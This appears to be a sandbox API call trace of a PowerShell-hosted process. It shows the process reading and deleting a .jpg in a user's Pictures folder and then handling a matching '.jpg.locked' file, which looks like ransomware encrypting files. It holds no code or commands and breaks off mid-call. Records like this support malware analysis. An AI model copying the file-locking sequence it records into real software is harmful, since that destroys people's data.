[0135.263] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff")) returned 0x10 [0135.263] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff")) returned 0x10 [0135.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff", lpFilePart=0x0) returned 0x52 [0135.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff", lpFilePart=0x0) returned 0x52 [0135.263] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg")) returned 0x20 [0135.263] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.264] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.264] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0135.264] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.264] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg\\", lpFilePart=0x0) returned 0x6a [0135.264] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0135.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0135.264] CoTaskMemAlloc (cb=0x404) returned 0x8eb8930 [0135.264] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8930, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0135.264] CoTaskMemFree (pv=0x8eb8930) [0135.265] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg")) returned 0x20 [0135.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.265] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0135.265] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg"), fInfoLevelId=0x0, lpFileInformation=0x6974dc4 | out: lpFileInformation=0x6974dc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ca079a0, ftCreationTime.dwHighDateTime=0x1d4a7ea, ftLastAccessTime.dwLowDateTime=0x20e99060, ftLastAccessTime.dwHighDateTime=0x1d4a007, ftLastWriteTime.dwLowDateTime=0x20e99060, ftLastWriteTime.dwHighDateTime=0x1d4a007, nFileSizeHigh=0x0, nFileSizeLow=0x137fb)) returned 1 [0135.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0135.266] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg")) returned 1 [0135.267] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.267] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.267] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.268] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xb9, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.268] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.269] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg.locked")) returned 0x20 [0135.269] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg.locked")) returned 0x20 [0135.269] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked", lpFilePart=0x0) returned 0x70 [0135.269] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked", lpFilePart=0x0) returned 0x70 [0135.269] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.269] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg", lpFilePart=0x0) returned 0x69 [0135.269] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.269] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.269] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xba, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.269] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.272] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.272] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.272] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.272] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbb, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.272] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.273] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.273] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.273] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.273] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbc, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.273] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.274] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.274] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.274] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.274] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbd, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.274] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.276] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.276] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0135.276] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.276] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbe, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.276] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.277] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xbf, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.279] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99add1c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0135.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0135.279] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg.locked"), fInfoLevelId=0x0, lpFileInformation=0x698e258 | out: lpFileInformation=0x698e258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d76d74, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x13d76d74, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x13d9cf02, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x13814)) returned 1 [0135.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0135.279] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked", lpFilePart=0x0) returned 0x70 [0135.279] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\a8ox4-5SwJAFJja-_d\\PSf2P6CeKXUxULh\\-0HHthW\\l8_IUnff\\ckKwcItn1NQ8UaZHXZ.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\a8ox4-5swjafjja-_d\\psf2p6cekxuxulh\\-0hhthw\\l8_iunff\\ckkwcitn1nq8uazhxz.jpg.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858 [0135.280] GetFileInformationByHandle (in: hFile=0x858, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0135.280] CloseHandle (hObject=0x858) returned 1 [0135.280] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: lpConsoleScreenBufferInfo=0x99ae54c) returned 1 [0135.281] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae554 | out: lpMode=0x99ae554) returned 1 [0135.281] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, 